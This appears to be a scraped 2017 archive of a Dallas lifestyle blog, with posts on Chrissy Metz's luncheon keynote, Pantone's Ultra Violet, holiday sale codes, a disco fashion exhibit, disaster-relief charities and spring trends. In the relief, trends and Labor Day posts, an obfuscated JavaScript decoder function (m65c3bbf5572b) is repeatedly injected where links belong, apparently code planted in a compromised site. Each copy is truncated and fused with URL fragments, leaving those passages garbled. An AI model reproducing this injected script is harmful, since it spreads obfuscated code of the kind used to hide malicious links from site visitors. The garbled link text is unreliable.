2017

JUST IN: Golden Globe’s Nominee “This Is Us” Chrissy Metz To Be Keynote Speaker At The Elisa Project’s Life Lessons Lunch On February 28!

Thank you My Sweet Charity for the wonderful article!

"The Golden Globe nominees were revealed Monday and Chrissy Metz is once again nominated for her role as Kate Pearson on NBC’s “This Is Us.” But her success and fame didn’t come overnight or easily. Chrissy’s life story is one that screenwriters dream of. Sure, she went through the trials and tribulations that many actresses face like being out of work, surviving thanks to friends and family, watching roles won by others and learning to accept rejection.Chrissy-Metz-Headshot-768x512But Chrissy dealing with a literally “bigger” issue — her weight. Admitting that she was born chubby, she was just 11 when she went to Weight Watchers. Her weight jumped up and down the scales at one point losing 50 pounds only to “gain back 100 pounds due to depression and ‘eating my feelings.’”Then the moment came when all the stars were in alignment and she landed the role of Kate, whose storyline was so akin to Chrissy’s. But even more than the role, Chrissy’s popularity has been due to her being so open about her dealing with her weight issues.For that reason, The Elisa Project organizers are thrilled that they have just gotten word that Chrissy will be at the 13th Annual Life Lessons Luncheon on Wednesday, February 28, at Brook Hollow Golf Club for a conversation with Kimberly Schlegel Whitman.MG_5346-Kim-Bannister-File-photo IMG_9715-Kimberly-Schlegel-Whitman-File-photoAccording to Luncheon Chair Kim Bannister, “As an organization dedicated to the development of healthy children and adolescents by raising awareness of body image and self-esteem issues and the prevention of life-threatening eating disorders, we know Chrissy will truly captivate attendees as she shares her own inspirational stories of courage and self-acceptance. This year’s luncheon is not to be missed!”Honorary co-chairs will be Sandra Estess and Elizabeth Estess Hughes.Starting at $2,000, tables are available for purchase now. If space permits, individual tickets will go on sale in early February. Suggestion: Gather up pals and get a table locked down now. Don’t depend on those individual spots coming available."

Purple Is Named Pantone's 2018 Color of The Year!

It has been a very interesting year for all us and now it get's even more unique. Pantone has deemed ultra violet the official hue of 2018.

"Lighting the way for the year ahead, Pantone announces PANTONE 18-3838 Ultra Violet as the Color of the Year 2018! A dramatically provocative and thoughtful purple shade, #UltraViolet communicates originality, ingenuity and visionary thinking that points us to the future. #COY2018"

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Leatrice Eiseman, executive director of the Pantone Color Institute told the New York Times, “We wanted to pick something that brings hope and an uplifting message.”

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Cozy Stocking Stuffers!

It's about to be DECEMBER tomorrow!! We are going to start sharing some of your favorite gift's to give to your loved ones! Today, we are sharing our favorite stocking stuffers that are extremely cozy! 

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Socksnordstrom.com

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Sole Society scarvenordstrom.com

Blanketnordstrom.com

Drinkwarenordstrom.com

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Black Friday Sales!

Happy Tuesday everyone!! We cannot believe it's the week of Thanksgiving! It's the time to shop because retailers are already giving some great deals already! We are going to share some of our favorites below!
Sales
madewell // 25% off everything with code DONTSTRESS

Clarisonic // 30% off all devices (including holiday gift sets), and it will also throw in a free Lancôme Absolue BX Cream (0.5 oz) with any purchase on November 24th. For Cyber Monday, enjoy the same deal on devices along with a free full-size (!) Lancôme Energie de Vie Moisturizer (1.7 oz) with any purchase.

kate spade // 30% off everything with code GIVEJOYshopbop // up to 75% off sale items + up to 30% off full-price items with code MORE17express // 50% off + free shipping!LOFT // 40% off everything with code GIFTITUPtory burch // 30% off purchase of $250 or more with code THANKSNordstrom // extra 20% off select sale items throughout Black Friday weekend, starting online on Thanksgiving Day through Sunday, Nov. 29, into Cyber Monday. In-stores, the sale starts Friday, Nov. 24 and lasts into Cyber Monday.j. crew // 40% off your purchase with code THANKUVictoria's Secret// 10 panties for $35 with code 10PANTIESRebecca Minkoff // 25% off all orders of $100 with code BLACK25


Night Fever at Galleria Dallas!

Night Fever at Galleria Dallas is Now Open!
Galleria Dallas welcomed FGI of Dallas members and VIPs to preview the "Night Fever: Fashions from Funk to Disco" fashion exhibition on Tuesday, September 19.  The exhibition features over 75 authentic garments and accessories from this iconic decade produced by Galleria Dallas and curated by FGI of Dallas Regional Director, Ken Weber.
Night Fever features a diverse collection of American, French, Italian and Japanese couture designers, including work by Halston, Giorgio Sant'Angelo, Hanae Mori, Yves Saint Laurent, Chloe and Roberto Cavalli. Many of the garments are on loan from the University of North Texas School of Visual Art & Design Texas Fashion Collection, which is one of the world's most coveted private collections.You'll enjoy seeing how fashion evolved during this era through the eyes of designers and made famous by the decade's iconic social scene including Cher, Bianca Jagger, Jerry Hall, Liza Minelli, Farrah Fawcett and Diana Ross.
Night Fever is now open until November 1! The gorgeous pictures below from the VIP preview party were taken by Thomas Garza.
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Galleria Dallas
Hours: 12:00pm - 6:00pm daily (closed Mondays)

Great Ways You Can Help The People Of Mexico And Puerto Rico!

Our help is now needed in Mexico and Puerto Rico. If you're looking for a way to contribute, please consider one of these fine organization that have indicated they are ready to help earthquake and hurricane victims. Visit the websites to learn more about each organization, and to find out if donations are tax deductible in the U.S.Note that some of the organizations, especially in Mexico, have websites written in Spanish, so we've indicated some that are in English. If you land on a Spanish language page and don't speak the language, many have a button or link marked "English" or "Inglés." Connections may be slow due to the infrastructure impact of the recent disasters and/or because many people are also giving generously.-CBSMEXICO:function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfanding-terremoto/" target="_blank">UNICEF MexicoRed Cross MexicoOxfam MexicoSave the Children Mexico (page is in English)Project PazTopos Mexicofunction m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-hurricane-relief-fund/" target="_blank">Global Giving (page in English)International Community Foundation (page is in English):PUERTO RICO:Unidos por Puerto RicoGlobal GivingUNICEFConPRmetidosSave the ChildrenTeam RubiconThank you for your generous support of our friends and neighbors in these countries.

Spring 2018 Trends!

 Happy Friday everyone! We have been watching the runways all from New York Fashio Week. Today, we are sharing some of our favorite top trends. We cannot wait to sport these trends this spring.Suit Up:hbz-ss2018-trends-50-shades-of-suiting-1505073734Bungee detailshbz-ss2018-trends-bungee-details-1504973501Candy stripes:function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandy-stripers-1504973501.jpg" alt="hbz-ss2018-trends-candy-stripers-1504973501" width="980" height="490" />Dapper overcoats:function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandy-overcoats-1505073733.jpg" alt="hbz-ss2018-trends-dandy-overcoats-1505073733" width="980" height="490" />Demin:hbz-ss2018-trends-designer-denim-1505073734Hot Pink:hbz-ss2018-trends-hot-pink-1504973501Lavenderhbz-ss2018-trends-lavender-ladies-1505073734Micro florals:hbz-ss2018-trends-micro-florals-1504973504Jumpsuits:hbz-ss2018-trends-take-flight-1505073734Transparency or sheer:hbz-transparency-comp-1505146913

Big Sales From Labor Day!

woman-2609573_960_720We know we may be a little late for this post, but we are still seeing some major sales because of Labor Day. Here are some of our favorites:Nordstrom // up to 40% off select stylesNordstrom Rack // extra 25% off clearanceRebecca Minkoff // up to 50% off all sale itemsSephora // up to 50% off end of summer saleBobbie Brown// take 20% off on your entire purchase CODE: WELCOME20LL Bean// take 25% off on all orders of $50+, three days only CODE: LABORDAYfunction m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandmain.com/" target="_blank">Joss & Main: Extra 20% off living room items, rugs and lighting with code HOORAYAnthropologie // extra 40% off sale itemsBanana Republic // 40% off everything + free shipping on orders of $50 or moreFree People  // extra 25% off sale itemsTory Burch // Up to 60% off end of summer salewoman-2609573_960_720